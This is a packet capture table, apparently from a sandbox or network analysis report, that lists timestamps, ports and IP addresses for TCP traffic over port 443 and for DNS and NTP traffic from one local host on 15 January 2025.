Jan 15, 2025 15:12:28.382168055 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:28.382543087 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:28.382560015 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:28.383034945 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:28.383100033 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:28.383652925 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:28.383712053 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:28.384949923 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:28.385010958 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:28.385132074 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:28.385143042 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:28.428191900 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:28.943836927 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:28.989408016 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:28.989439964 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.035779953 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.049877882 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.050267935 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.050314903 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.050331116 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.050955057 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.050995111 CET	443	50687	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.051122904 CET	50687	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.055917025 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.055958986 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.056171894 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.056422949 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.056438923 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.752377033 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.752690077 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.752703905 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.754009962 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.754148960 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.756701946 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.756762028 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.757247925 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.757421970 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.757561922 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:29.757572889 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:29.802690029 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.207304955 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.254837990 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.309539080 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.310923100 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.311054945 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.311067104 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.362884045 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.362891912 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402417898 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402463913 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402508020 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402529001 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402551889 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402564049 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.402564049 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.402580023 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402601004 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.402606964 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402652025 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402673006 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.402673006 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.402733088 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.402733088 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.402741909 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.404799938 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.404804945 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.419913054 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:30.420032024 CET	443	50688	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:30.420130014 CET	50688	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.349383116 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.349426985 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:31.349535942 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.349550009 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.349572897 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:31.349626064 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.350286961 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.350347996 CET	443	50693	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:31.350400925 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.352785110 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.352799892 CET	443	50693	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:31.353279114 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.353297949 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:31.353701115 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:31.353717089 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.019984961 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.032537937 CET	443	50693	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.040136099 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.040167093 CET	443	50693	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.040273905 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.040307045 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.040864944 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.040909052 CET	443	50693	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.040976048 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.041646004 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.041677952 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.041687012 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.045341015 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.066570997 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.066736937 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.086158037 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.086184978 CET	443	50693	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.092540979 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.116940975 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.116986990 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.123002052 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.123008013 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.123744965 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.124066114 CET	443	50693	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.124409914 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.124490976 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.124536037 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.125060081 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.125240088 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.176723957 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.176738977 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.176789999 CET	443	50693	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.225234985 CET	50693	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.613500118 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.655405045 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.655435085 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.709403992 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.715821981 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.716090918 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.716141939 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.716166973 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.757139921 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.757169962 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.798357010 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.802371025 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.802381039 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.802397966 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.802406073 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.802421093 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.802443027 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.802460909 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.802505970 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.847801924 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.847810984 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.847826958 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.847836018 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.847852945 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.847867012 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.847877979 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.847918987 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.854619026 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.854625940 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.854644060 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.854650974 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.854682922 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.854696989 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.854724884 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.854746103 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.854753971 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.888247967 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.888326883 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.888410091 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.888606071 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.888629913 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.897052050 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.897069931 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.897532940 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:32.897615910 CET	443	50692	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:32.897680044 CET	50692	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:33.556900978 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:33.557102919 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:33.557121038 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:33.557459116 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:33.557529926 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:33.558059931 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:33.558115959 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:33.558901072 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:33.558962107 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:33.559092999 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:33.559123039 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:33.608484030 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:34.176266909 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:34.227190018 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:34.277842999 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:34.278219938 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:34.278228045 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:34.278316975 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:34.278394938 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:34.280868053 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:34.280930996 CET	443	50698	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:34.281007051 CET	50698	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.196805000 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.196846008 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:36.196902990 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.197196007 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.197211981 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:36.903299093 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:36.904292107 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.904303074 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:36.904684067 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:36.904742956 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.905390978 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:36.905436993 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.906054020 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.906124115 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:36.906208038 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.947082043 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:36.947094917 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:36.994339943 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.498529911 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:37.548155069 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.605262041 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:37.606014967 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:37.606025934 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:37.606081009 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.606093884 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:37.655575991 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.655586004 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:37.667301893 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.667416096 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:37.667610884 CET	443	50714	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:37.667705059 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.667705059 CET	50714	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.681828976 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.681828976 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:37.681896925 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:38.191672087 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:38.192708969 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:38.192851067 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:38.192867994 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:38.201512098 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:38.201566935 CET	443	50691	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:38.201616049 CET	50691	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:38.288135052 CET	49719	443	192.168.2.7	142.250.186.116
Jan 15, 2025 15:12:38.288162947 CET	443	49719	142.250.186.116	192.168.2.7
Jan 15, 2025 15:12:45.718564034 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:45.718611002 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:45.718668938 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:45.719233036 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:45.719249964 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.382066965 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.382725000 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:46.382757902 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.383086920 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.383152962 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:46.383702040 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.383744955 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:46.383879900 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:46.383935928 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.384037018 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:46.384068012 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.384116888 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:46.384126902 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.427861929 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:46.920157909 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:46.965023994 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.023473978 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.023869991 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.023955107 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.023983955 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.024715900 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.024751902 CET	443	50726	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.024863005 CET	50726	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.193569899 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.193608046 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.193703890 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.194243908 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.194257021 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.882448912 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.882795095 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.882802963 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.883155107 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.883258104 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.883776903 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.883919954 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.884054899 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.884104013 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.884470940 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:47.884480000 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:47.929734945 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:48.263937950 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:48.318873882 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:48.318892002 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:48.364795923 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:48.365530014 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:48.412606955 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:48.412622929 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:48.413953066 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:48.414006948 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:48.414175987 CET	443	50728	185.225.69.200	192.168.2.7
Jan 15, 2025 15:12:48.414180994 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:48.414273977 CET	50728	443	192.168.2.7	185.225.69.200
Jan 15, 2025 15:12:51.539043903 CET	50729	443	192.168.2.7	216.58.206.36
Jan 15, 2025 15:12:51.539105892 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:12:51.539176941 CET	50729	443	192.168.2.7	216.58.206.36
Jan 15, 2025 15:12:51.539407015 CET	50729	443	192.168.2.7	216.58.206.36
Jan 15, 2025 15:12:51.539421082 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:12:52.187247038 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:12:52.187654018 CET	50729	443	192.168.2.7	216.58.206.36
Jan 15, 2025 15:12:52.187693119 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:12:52.188035965 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:12:52.188405991 CET	50729	443	192.168.2.7	216.58.206.36
Jan 15, 2025 15:12:52.188471079 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:12:52.240348101 CET	50729	443	192.168.2.7	216.58.206.36
Jan 15, 2025 15:12:53.429841042 CET	49719	443	192.168.2.7	142.250.186.116
Jan 15, 2025 15:12:53.429982901 CET	443	49719	142.250.186.116	192.168.2.7
Jan 15, 2025 15:12:53.430098057 CET	49719	443	192.168.2.7	142.250.186.116
Jan 15, 2025 15:12:54.553313971 CET	50624	443	192.168.2.7	34.81.65.15
Jan 15, 2025 15:12:54.553330898 CET	443	50624	34.81.65.15	192.168.2.7
Jan 15, 2025 15:13:02.092350006 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:13:02.092423916 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:13:02.092503071 CET	50729	443	192.168.2.7	216.58.206.36
Jan 15, 2025 15:13:03.429948092 CET	50729	443	192.168.2.7	216.58.206.36
Jan 15, 2025 15:13:03.429979086 CET	443	50729	216.58.206.36	192.168.2.7
Jan 15, 2025 15:13:11.429960966 CET	50624	443	192.168.2.7	34.81.65.15
Jan 15, 2025 15:13:11.430092096 CET	443	50624	34.81.65.15	192.168.2.7
Jan 15, 2025 15:13:11.430226088 CET	50624	443	192.168.2.7	34.81.65.15

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 15:11:47.183806896 CET	53	62085	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:47.205028057 CET	53	53337	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:48.198363066 CET	53	61061	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:51.475785017 CET	54934	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:51.477102041 CET	51551	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:51.483084917 CET	53	54934	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:51.483772039 CET	53	51551	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:52.335149050 CET	123	123	192.168.2.7	51.145.123.29
Jan 15, 2025 15:11:52.542058945 CET	64802	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:52.542201042 CET	52543	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:52.551285982 CET	53	64802	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:52.551511049 CET	53	52543	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:53.531838894 CET	54152	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:53.532005072 CET	63392	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:53.538723946 CET	53	63392	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:53.539177895 CET	53	54152	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:54.693762064 CET	53860	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:54.694529057 CET	63140	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:54.700871944 CET	53	53860	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:54.701148033 CET	53	63140	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:55.710470915 CET	65416	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:55.710784912 CET	63252	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:55.763822079 CET	53	63252	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:56.762837887 CET	50504	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:56.762990952 CET	60156	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:57.008528948 CET	52583	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:57.008702993 CET	53006	53	192.168.2.7	1.1.1.1
Jan 15, 2025 15:11:57.052321911 CET	53	53006	1.1.1.1	192.168.2.7
Jan 15, 2025 15:11:57.566543102 CET	50253	53	192.168.2.7	1.1.1.1
